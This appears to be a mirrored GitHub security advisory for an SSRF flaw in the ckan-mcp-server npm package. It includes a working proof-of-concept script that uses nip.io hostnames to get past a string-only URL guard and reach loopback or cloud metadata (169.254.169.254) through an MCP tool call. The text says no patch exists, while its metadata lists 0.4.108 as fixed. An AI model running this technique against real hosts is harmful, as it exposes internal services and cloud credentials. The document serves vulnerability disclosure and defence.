GHSA-798P-78G2-V556
Vulnerability from github – Published: 2026-09-22 14:51 – Updated: 2026-09-22 14:51Summary
The SSRF guard validateServerUrl (added for CVE-2026-33060, extended for CVE-2026-53509) validates only the hostname string and never resolves DNS. Any caller-supplied server_url whose hostname resolves to an internal address passes the guard, so the server issues requests to loopback and cloud metadata (169.254.169.254). This is a third bypass of the same guard, still present in the current latest 0.4.107, and it reaches IMDS — strictly more than CVE-2026-53509, which only reached loopback.
Affected / patched
@aborruso/ckan-mcp-server(npm) — all versions with the guard, through 0.4.107 (currentlatest). The guard has never resolved DNS. No patch yet.
Severity
It is effectively High for the self-hosted unauthenticated HTTP transport (TRANSPORT=http, POST /mcp), where any remote client reaches IMDS/internal hosts directly. The official Cloudflare Worker endpoint is CF-sandboxed (cannot reach loopback/RFC-1918/IMDS).
Root cause — src/utils/http.ts, validateServerUrl
The guard blocks IP literals and three loopback alias strings, but does no name resolution:
const hostname = parsed.hostname.toLowerCase();
if (new Set(['localhost','ip6-localhost','ip6-loopback']).has(hostname)) throw; // string denylist
if (hostname.match(/^(\d+)\.(\d+)\.(\d+)\.(\d+)$/)) { /* block private/special IPv4 LITERALS */ }
// no DNS resolution → a hostname that RESOLVES to 127.0.0.1 / 169.254.169.254 / 10.x is allowed
Both prior fixes only added literal strings to the denylist (CVE-2026-33060 added the guard; CVE-2026-53509 added ip6-localhost/ip6-loopback). The DNS-resolution gap — the actual root cause — remains. server_url is a caller-controlled argument (z.string().url()) on every tool, reaching makeCkanRequest (all CKAN tools) and querySparqlEndpoint (sparql_query). The sink is non-blind: a non-CKAN response is returned to the caller verbatim via CKAN API returned success=false: <body>.
Note: numeric-IP encodings (decimal
2130706433, short127.1, hex0x7f.0.0.1) do not bypass — Node's WHATWGnew URL()canonicalizes them to dotted-decimal before the regex. Only the DNS-name vector bypasses.
Proof of concept
Drives the published server over the MCP protocol via the public ckan_package_search tool. Local-only: the loopback server stands in for an internal/IMDS endpoint.
npm install @aborruso/ckan-mcp-server@0.4.107 @modelcontextprotocol/sdk
node poc.mjs
import http from 'node:http';
import { Client } from "@modelcontextprotocol/sdk/client/index.js";
import { StdioClientTransport } from "@modelcontextprotocol/sdk/client/stdio.js";
const SECRET = 'INTERNAL-ONLY-IAM-CREDENTIALS-AKIAEXAMPLE';
const internal = http.createServer((_req, res) => {
res.writeHead(200, { 'content-type': 'application/json' });
res.end(JSON.stringify({ Token: SECRET })); // stand-in for an IMDS / internal response
});
await new Promise(r => internal.listen(0, '127.0.0.1', r));
const port = internal.address().port;
const client = new Client({ name: "ssrf-poc", version: "1.0.0" });
await client.connect(new StdioClientTransport({
command: "node", args: ["node_modules/@aborruso/ckan-mcp-server/dist/index.js"]
}));
// nip.io is public wildcard DNS: <ip>.nip.io -> <ip>. The guard sees hostname "127.0.0.1.nip.io"
// (not a literal, not in its denylist) and allows it; the request resolves to 127.0.0.1.
// Use 169.254.169.254.nip.io to reach IMDS on a cloud host.
const evil = `http://127.0.0.1.nip.io:${port}/`;
const res = await client.callTool({ name: "ckan_package_search", arguments: { server_url: evil, q: "x" } });
const text = res.content?.[0]?.text || JSON.stringify(res);
console.log("SSRF:", text.includes(SECRET) ? "YES — internal server reached, body returned to caller" : "no");
console.log(text.slice(0, 220));
await client.close(); internal.close();
Output:
SSRF: YES — internal server reached, body returned to caller
CKAN API returned success=false: {"Token":"INTERNAL-ONLY-IAM-CREDENTIALS-AKIAEXAMPLE"}
A real attacker uses any domain with an A/AAAA record pointing at an internal IP, or DNS rebinding; nip.io just makes the PoC self-contained.
Impact
Caller-controlled SSRF to loopback, RFC-1918 hosts, and 169.254.169.254 (cloud IMDS → IAM credentials), with the response body returned to the caller (non-blind). In the default stdio deployment this requires prompt injection to steer the tool argument; the self-hosted HTTP transport is unauthenticated, so any remote client can trigger it directly.
Suggested fix
Resolve the hostname and validate every resolved IP against the private/special ranges, then pin the connection to the validated IP (custom lookup/agent) so a re-resolve cannot rebind to an internal address — or require the existing CKAN_ALLOWED_DOMAINS allowlist (default-deny, especially for the HTTP transport). A hostname-string denylist cannot close this class.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.4.107"
},
"package": {
"ecosystem": "npm",
"name": "@aborruso/ckan-mcp-server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.4.108"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-61612"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-22T14:51:20Z",
"nvd_published_at": "2026-09-21T18:17:09Z",
"severity": "MODERATE"
},
"details": "## Summary\nThe SSRF guard `validateServerUrl` (added for CVE-2026-33060, extended for CVE-2026-53509) validates only the **hostname string** and never resolves DNS. Any caller-supplied `server_url` whose hostname *resolves* to an internal address passes the guard, so the server issues requests to **loopback and cloud metadata (`169.254.169.254`)**. This is a third bypass of the same guard, still present in the current latest **0.4.107**, and it reaches IMDS \u2014 strictly more than CVE-2026-53509, which only reached loopback.\n\n## Affected / patched\n- `@aborruso/ckan-mcp-server` (npm) \u2014 all versions with the guard, through **0.4.107** (current `latest`). The guard has never resolved DNS. No patch yet.\n\n## Severity\nIt is effectively **High** for the self-hosted **unauthenticated HTTP transport** (`TRANSPORT=http`, `POST /mcp`), where any remote client reaches IMDS/internal hosts directly. The official Cloudflare Worker endpoint is CF-sandboxed (cannot reach loopback/RFC-1918/IMDS).\n\n## Root cause \u2014 `src/utils/http.ts`, `validateServerUrl`\nThe guard blocks IP **literals** and three loopback alias strings, but does no name resolution:\n```ts\nconst hostname = parsed.hostname.toLowerCase();\nif (new Set([\u0027localhost\u0027,\u0027ip6-localhost\u0027,\u0027ip6-loopback\u0027]).has(hostname)) throw; // string denylist\nif (hostname.match(/^(\\d+)\\.(\\d+)\\.(\\d+)\\.(\\d+)$/)) { /* block private/special IPv4 LITERALS */ }\n// no DNS resolution \u2192 a hostname that RESOLVES to 127.0.0.1 / 169.254.169.254 / 10.x is allowed\n```\nBoth prior fixes only added literal strings to the denylist (CVE-2026-33060 added the guard; CVE-2026-53509 added `ip6-localhost`/`ip6-loopback`). The DNS-resolution gap \u2014 the actual root cause \u2014 remains. `server_url` is a caller-controlled argument (`z.string().url()`) on every tool, reaching `makeCkanRequest` (all CKAN tools) and `querySparqlEndpoint` (`sparql_query`). The sink is **non-blind**: a non-CKAN response is returned to the caller verbatim via `CKAN API returned success=false: \u003cbody\u003e`.\n\n\u003e Note: numeric-IP encodings (decimal `2130706433`, short `127.1`, hex `0x7f.0.0.1`) do **not** bypass \u2014 Node\u0027s WHATWG `new URL()` canonicalizes them to dotted-decimal before the regex. Only the DNS-name vector bypasses.\n\n## Proof of concept\nDrives the published server over the MCP protocol via the public `ckan_package_search` tool. Local-only: the loopback server stands in for an internal/IMDS endpoint.\n```sh\nnpm install @aborruso/ckan-mcp-server@0.4.107 @modelcontextprotocol/sdk\nnode poc.mjs\n```\n```js\nimport http from \u0027node:http\u0027;\nimport { Client } from \"@modelcontextprotocol/sdk/client/index.js\";\nimport { StdioClientTransport } from \"@modelcontextprotocol/sdk/client/stdio.js\";\n\nconst SECRET = \u0027INTERNAL-ONLY-IAM-CREDENTIALS-AKIAEXAMPLE\u0027;\nconst internal = http.createServer((_req, res) =\u003e {\n res.writeHead(200, { \u0027content-type\u0027: \u0027application/json\u0027 });\n res.end(JSON.stringify({ Token: SECRET })); // stand-in for an IMDS / internal response\n});\nawait new Promise(r =\u003e internal.listen(0, \u0027127.0.0.1\u0027, r));\nconst port = internal.address().port;\n\nconst client = new Client({ name: \"ssrf-poc\", version: \"1.0.0\" });\nawait client.connect(new StdioClientTransport({\n command: \"node\", args: [\"node_modules/@aborruso/ckan-mcp-server/dist/index.js\"]\n}));\n\n// nip.io is public wildcard DNS: \u003cip\u003e.nip.io -\u003e \u003cip\u003e. The guard sees hostname \"127.0.0.1.nip.io\"\n// (not a literal, not in its denylist) and allows it; the request resolves to 127.0.0.1.\n// Use 169.254.169.254.nip.io to reach IMDS on a cloud host.\nconst evil = `http://127.0.0.1.nip.io:${port}/`;\nconst res = await client.callTool({ name: \"ckan_package_search\", arguments: { server_url: evil, q: \"x\" } });\n\nconst text = res.content?.[0]?.text || JSON.stringify(res);\nconsole.log(\"SSRF:\", text.includes(SECRET) ? \"YES \u2014 internal server reached, body returned to caller\" : \"no\");\nconsole.log(text.slice(0, 220));\nawait client.close(); internal.close();\n```\nOutput:\n```\nSSRF: YES \u2014 internal server reached, body returned to caller\nCKAN API returned success=false: {\"Token\":\"INTERNAL-ONLY-IAM-CREDENTIALS-AKIAEXAMPLE\"}\n```\nA real attacker uses any domain with an A/AAAA record pointing at an internal IP, or DNS rebinding; `nip.io` just makes the PoC self-contained.\n\n## Impact\nCaller-controlled SSRF to loopback, RFC-1918 hosts, and `169.254.169.254` (cloud IMDS \u2192 IAM credentials), with the response body returned to the caller (non-blind). In the default stdio deployment this requires prompt injection to steer the tool argument; the self-hosted HTTP transport is unauthenticated, so any remote client can trigger it directly.\n\n## Suggested fix\nResolve the hostname and validate **every resolved IP** against the private/special ranges, then **pin the connection to the validated IP** (custom `lookup`/agent) so a re-resolve cannot rebind to an internal address \u2014 or require the existing `CKAN_ALLOWED_DOMAINS` allowlist (default-deny, especially for the HTTP transport). A hostname-string denylist cannot close this class.",
"id": "GHSA-798p-78g2-v556",
"modified": "2026-09-22T14:51:20Z",
"published": "2026-09-22T14:51:20Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ondata/ckan-mcp-server/security/advisories/GHSA-798p-78g2-v556"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-61612"
},
{
"type": "WEB",
"url": "https://github.com/ondata/ckan-mcp-server/commit/bb7439b553b9f965adc3d43bcd415c42eebe2f40"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-3xm7-qw7j-qc8v"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-g84h-j7jj-x32p"
},
{
"type": "PACKAGE",
"url": "https://github.com/ondata/ckan-mcp-server"
},
{
"type": "WEB",
"url": "https://github.com/ondata/ckan-mcp-server/releases/tag/v0.4.108"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "@aborruso/ckan-mcp-server has SSRF via DNS-name \u2192 internal IP \u2014 incomplete fix of CVE-2026-53509"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.